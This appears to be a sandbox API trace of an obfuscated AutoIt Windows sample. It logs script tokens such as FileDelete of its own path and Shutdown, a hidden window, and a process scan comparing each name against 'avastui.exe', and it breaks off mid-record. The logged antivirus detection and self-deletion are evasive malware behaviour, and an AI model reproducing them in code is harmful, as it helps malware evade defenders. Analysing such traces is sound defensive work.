CharUpperBuffW (in: lpsz="DllCall", cchLength=0x7 | out: lpsz="DLLCALL") returned 0x7 [0077.977] CharUpperBuffW (in: lpsz="DllStructGetPtr", cchLength=0xf | out: lpsz="DLLSTRUCTGETPTR") returned 0xf [0077.978] CharUpperBuffW (in: lpsz="0D65E24FF0E10ADFDA9E7BF4AAB42CE3", cchLength=0x20 | out: lpsz="0D65E24FF0E10ADFDA9E7BF4AAB42CE3") returned 0x20 [0077.978] CharUpperBuffW (in: lpsz="DllStructGetPtr", cchLength=0xf | out: lpsz="DLLSTRUCTGETPTR") returned 0xf [0077.978] CharUpperBuffW (in: lpsz="1D8D88E7EADD439B6AC7F4", cchLength=0x16 | out: lpsz="1D8D88E7EADD439B6AC7F4") returned 0x16 [0077.978] CharUpperBuffW (in: lpsz="BinaryLen", cchLength=0x9 | out: lpsz="BINARYLEN") returned 0x9 [0077.978] CharUpperBuffW (in: lpsz="7F6C628AB520F90CFCF53", cchLength=0x15 | out: lpsz="7F6C628AB520F90CFCF53") returned 0x15 [0077.978] CharUpperBuffW (in: lpsz="D49132A476FE659BA30791AEB0D5EE9F", cchLength=0x20 | out: lpsz="D49132A476FE659BA30791AEB0D5EE9F") returned 0x20 [0077.978] CharUpperBuffW (in: lpsz="Local", cchLength=0x5 | out: lpsz="LOCAL") returned 0x5 [0077.978] CharUpperBuffW (in: lpsz="D483C7BC874BC719BACBE73B79DD313D", cchLength=0x20 | out: lpsz="D483C7BC874BC719BACBE73B79DD313D") returned 0x20 [0077.978] CharUpperBuffW (in: lpsz="DllStructGetData", cchLength=0x10 | out: lpsz="DLLSTRUCTGETDATA") returned 0x10 [0077.978] CharUpperBuffW (in: lpsz="1D8D88E7EADD439B6AC7F4", cchLength=0x16 | out: lpsz="1D8D88E7EADD439B6AC7F4") returned 0x16 [0077.979] CharUpperBuffW (in: lpsz="1D8D88E7EADD439B6AC7F4", cchLength=0x16 | out: lpsz="1D8D88E7EADD439B6AC7F4") returned 0x16 [0077.979] CharUpperBuffW (in: lpsz="0D65E24FF0E10ADFDA9E7BF4AAB42CE3", cchLength=0x20 | out: lpsz="0D65E24FF0E10ADFDA9E7BF4AAB42CE3") returned 0x20 [0077.979] CharUpperBuffW (in: lpsz="Return", cchLength=0x6 | out: lpsz="RETURN") returned 0x6 [0077.979] CharUpperBuffW (in: lpsz="D483C7BC874BC719BACBE73B79DD313D", cchLength=0x20 | out: lpsz="D483C7BC874BC719BACBE73B79DD313D") returned 0x20 [0077.979] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0077.979] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0077.979] CharUpperBuffW (in: lpsz="_S0xFA56E059CADB1D6DB397C7643F57CDF6", cchLength=0x24 | out: lpsz="_S0XFA56E059CADB1D6DB397C7643F57CDF6") returned 0x24 [0077.979] CharUpperBuffW (in: lpsz="989BD8DF7434150DDDCC4E3AF84571E3", cchLength=0x20 | out: lpsz="989BD8DF7434150DDDCC4E3AF84571E3") returned 0x20 [0077.979] CharUpperBuffW (in: lpsz="F401F847041C5100472ACD2791125C65", cchLength=0x20 | out: lpsz="F401F847041C5100472ACD2791125C65") returned 0x20 [0077.980] CharUpperBuffW (in: lpsz="_S0xB4259E6Bx2737C3D468F", cchLength=0x18 | out: lpsz="_S0XB4259E6BX2737C3D468F") returned 0x18 [0077.980] CharUpperBuffW (in: lpsz="ScriptFullPath", cchLength=0xe | out: lpsz="SCRIPTFULLPATH") returned 0xe [0077.980] CharUpperBuffW (in: lpsz="7B5198DFC8A7BD8A73CE366FD1FF1E83", cchLength=0x20 | out: lpsz="7B5198DFC8A7BD8A73CE366FD1FF1E83") returned 0x20 [0077.980] CharUpperBuffW (in: lpsz="_S0xB4259E6Bx2737C3D468F", cchLength=0x18 | out: lpsz="_S0XB4259E6BX2737C3D468F") returned 0x18 [0077.980] CharUpperBuffW (in: lpsz="TempDir", cchLength=0x7 | out: lpsz="TEMPDIR") returned 0x7 [0077.980] CharUpperBuffW (in: lpsz="989BD8DF7434150DDDCC4E3AF84571E3", cchLength=0x20 | out: lpsz="989BD8DF7434150DDDCC4E3AF84571E3") returned 0x20 [0077.980] CharUpperBuffW (in: lpsz="ScriptName", cchLength=0xa | out: lpsz="SCRIPTNAME") returned 0xa [0077.980] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0077.981] CharUpperBuffW (in: lpsz="F401F847041C5100472ACD2791125C65", cchLength=0x20 | out: lpsz="F401F847041C5100472ACD2791125C65") returned 0x20 [0077.981] CharUpperBuffW (in: lpsz="7B5198DFC8A7BD8A73CE366FD1FF1E83", cchLength=0x20 | out: lpsz="7B5198DFC8A7BD8A73CE366FD1FF1E83") returned 0x20 [0077.981] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0077.981] CharUpperBuffW (in: lpsz="Else", cchLength=0x4 | out: lpsz="ELSE") returned 0x4 [0077.981] CharUpperBuffW (in: lpsz="FileDelete", cchLength=0xa | out: lpsz="FILEDELETE") returned 0xa [0077.981] CharUpperBuffW (in: lpsz="ScriptFullPath", cchLength=0xe | out: lpsz="SCRIPTFULLPATH") returned 0xe [0077.981] CharUpperBuffW (in: lpsz="FileDelete", cchLength=0xa | out: lpsz="FILEDELETE") returned 0xa [0077.981] CharUpperBuffW (in: lpsz="FileGetShortName", cchLength=0x10 | out: lpsz="FILEGETSHORTNAME") returned 0x10 [0077.981] CharUpperBuffW (in: lpsz="AutoItExe", cchLength=0x9 | out: lpsz="AUTOITEXE") returned 0x9 [0077.981] CharUpperBuffW (in: lpsz="Shutdown", cchLength=0x8 | out: lpsz="SHUTDOWN") returned 0x8 [0077.982] CharUpperBuffW (in: lpsz="Exit", cchLength=0x4 | out: lpsz="EXIT") returned 0x4 [0077.982] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0077.982] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0077.982] CharUpperBuffW (in: lpsz="WinExists", cchLength=0x9 | out: lpsz="WINEXISTS") returned 0x9 [0077.982] CharUpperBuffW (in: lpsz="989BD8DF7434150DDDCC4E3AF84571E3", cchLength=0x20 | out: lpsz="989BD8DF7434150DDDCC4E3AF84571E3") returned 0x20 [0077.982] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0077.982] CharUpperBuffW (in: lpsz="FileDelete", cchLength=0xa | out: lpsz="FILEDELETE") returned 0xa [0077.982] CharUpperBuffW (in: lpsz="ScriptFullPath", cchLength=0xe | out: lpsz="SCRIPTFULLPATH") returned 0xe [0077.982] CharUpperBuffW (in: lpsz="FileDelete", cchLength=0xa | out: lpsz="FILEDELETE") returned 0xa [0077.982] CharUpperBuffW (in: lpsz="FileGetShortName", cchLength=0x10 | out: lpsz="FILEGETSHORTNAME") returned 0x10 [0077.983] CharUpperBuffW (in: lpsz="AutoItExe", cchLength=0x9 | out: lpsz="AUTOITEXE") returned 0x9 [0077.983] CharUpperBuffW (in: lpsz="Shutdown", cchLength=0x8 | out: lpsz="SHUTDOWN") returned 0x8 [0077.983] CharUpperBuffW (in: lpsz="Exit", cchLength=0x4 | out: lpsz="EXIT") returned 0x4 [0077.983] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0077.983] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0077.983] CharUpperBuffW (in: lpsz="_S0XB4X2737C68F", cchLength=0xf | out: lpsz="_S0XB4X2737C68F") returned 0xf [0077.984] CharUpperBuffW (in: lpsz="_S0FZA737C68F", cchLength=0xd | out: lpsz="_S0FZA737C68F") returned 0xd [0077.984] CharUpperBuffW (in: lpsz="_S0FZA737C68F", cchLength=0xd | out: lpsz="_S0FZA737C68F") returned 0xd [0077.984] CharUpperBuffW (in: lpsz="_S0XB4259E6BX2737C3D468F", cchLength=0x18 | out: lpsz="_S0XB4259E6BX2737C3D468F") returned 0x18 [0077.984] CharUpperBuffW (in: lpsz="_S0XB4259E6BX2737C3D468F", cchLength=0x18 | out: lpsz="_S0XB4259E6BX2737C3D468F") returned 0x18 [0077.984] CharUpperBuffW (in: lpsz="_S0XDECB6E1F7A1579B054389D9327C67D72", cchLength=0x24 | out: lpsz="_S0XDECB6E1F7A1579B054389D9327C67D72") returned 0x24 [0077.984] CharUpperBuffW (in: lpsz="_S0XDECB6E1F7A1579B054389D9327C67D72", cchLength=0x24 | out: lpsz="_S0XDECB6E1F7A1579B054389D9327C67D72") returned 0x24 [0077.984] CharUpperBuffW (in: lpsz="_BD57ZSFSDEEEQ", cchLength=0xe | out: lpsz="_BD57ZSFSDEEEQ") returned 0xe [0077.984] CharUpperBuffW (in: lpsz="_BD57ZSFSDEEEQ", cchLength=0xe | out: lpsz="_BD57ZSFSDEEEQ") returned 0xe [0077.984] CharUpperBuffW (in: lpsz="_S0X5137D1CF25FE12128ADD3AC944C602CE", cchLength=0x24 | out: lpsz="_S0X5137D1CF25FE12128ADD3AC944C602CE") returned 0x24 [0077.985] CharUpperBuffW (in: lpsz="_S0X5137D1CF25FE12128ADD3AC944C602CE", cchLength=0x24 | out: lpsz="_S0X5137D1CF25FE12128ADD3AC944C602CE") returned 0x24 [0077.985] CharUpperBuffW (in: lpsz="_S0XFA56E059CADB1D6DB397C7643F57CDF6", cchLength=0x24 | out: lpsz="_S0XFA56E059CADB1D6DB397C7643F57CDF6") returned 0x24 [0077.985] CharUpperBuffW (in: lpsz="_S0XFA56E059CADB1D6DB397C7643F57CDF6", cchLength=0x24 | out: lpsz="_S0XFA56E059CADB1D6DB397C7643F57CDF6") returned 0x24 [0077.985] GetSysColorBrush (nIndex=15) returned 0x1100059 [0077.985] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0077.985] LoadIconW (hInstance=0x1140000, lpIconName=0x63) returned 0x1101b9 [0077.986] LoadIconW (hInstance=0x1140000, lpIconName=0xa4) returned 0x5020b [0077.986] LoadIconW (hInstance=0x1140000, lpIconName=0xa2) returned 0xe010b [0077.987] LoadImageW (hInst=0x1140000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x6022b [0077.987] RegisterClassExW (param_1=0x78f9ac) returned 0xc1a9 [0077.987] GetSysColorBrush (nIndex=15) returned 0x1100059 [0077.987] RegisterClassExW (param_1=0x78f950) returned 0xc1aa [0077.987] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc08b [0077.987] InitCommonControlsEx (picce=0x78f980) returned 1 [0077.988] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0x815ef0 [0077.988] LoadIconW (hInstance=0x1140000, lpIconName=0xa9) returned 0x6020d [0077.989] ImageList_ReplaceIcon (himl=0x815ef0, i=-1, hicon=0x6020d) returned 0 [0077.991] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x1140000, lpParam=0x0) returned 0x30216 [0077.991] NtdllDefWindowProc_W () returned 0x0 [0077.991] NtdllDefWindowProc_W () returned 0x1 [0077.993] NtdllDefWindowProc_W () returned 0x0 [0077.995] SetTimer (hWnd=0x30216, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0077.995] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc08b [0077.995] CreatePopupMenu () returned 0x60219 [0077.995] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x30216, hMenu=0x1, hInstance=0x1140000, lpParam=0x0) returned 0x20264 [0078.005] NtdllDefWindowProc_W () returned 0x0 [0078.005] ShowWindow (hWnd=0x30216, nCmdShow=0) returned 0 [0078.005] ShowWindow (hWnd=0x30216, nCmdShow=0) returned 0 [0078.006] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.007] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.007] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.007] CharUpperBuffW (in: lpsz="_S0FZA737C68F", cchLength=0xd | out: lpsz="_S0FZA737C68F") returned 0xd [0078.008] PeekMessageW (in: lpMsg=0x78f3f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f3f4) returned 0 [0078.008] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c [0078.011] Process32FirstW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.011] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0078.013] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="System", cchCount1=6, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.013] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0078.014] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="smss.exe", cchCount1=8, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.014] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0078.015] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csrss.exe", cchCount1=9, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.015] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0078.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wininit.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.016] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0078.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csrss.exe", cchCount1=9, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.017] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0078.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="winlogon.exe", cchCount1=12, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.023] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0078.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="services.exe", cchCount1=12, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.024] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0078.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lsass.exe", cchCount1=9, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.025] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0078.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lsm.exe", cchCount1=7, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.027] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.028] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.029] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.030] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.031] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.033] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0078.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="audiodg.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 1 [0078.043] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.044] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.045] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0078.046] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dwm.exe", cchCount1=7, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.046] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0078.047] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="explorer.exe", cchCount1=12, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.047] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0078.048] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spoolsv.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.048] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0078.051] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="taskhost.exe", cchCount1=12, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.051] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.052] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.052] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0078.053] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OfficeClickToRun.exe", cchCount1=20, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.053] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0078.054] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ONENOTEM.EXE", cchCount1=12, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.054] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0078.055] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="taskeng.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.056] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0078.057] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="taskhost.exe", cchCount1=12, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.057] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="advancesdoorsinvolve.exe")) returned 1 [0078.058] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="advancesdoorsinvolve.exe", cchCount1=24, lpString2="avastui.exe", cchCount2=11) returned 1 [0078.058] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pf-printed-awesome.exe")) returned 1 [0078.058] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pf-printed-awesome.exe", cchCount1=22, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.059] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="optional licensing undefined.exe")) returned 1 [0078.059] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="optional licensing undefined.exe", cchCount1=32, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.059] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="brokerworkout.exe")) returned 1 [0078.060] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="brokerworkout.exe", cchCount1=17, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.060] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="died.exe")) returned 1 [0078.061] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="died.exe", cchCount1=8, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.061] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, 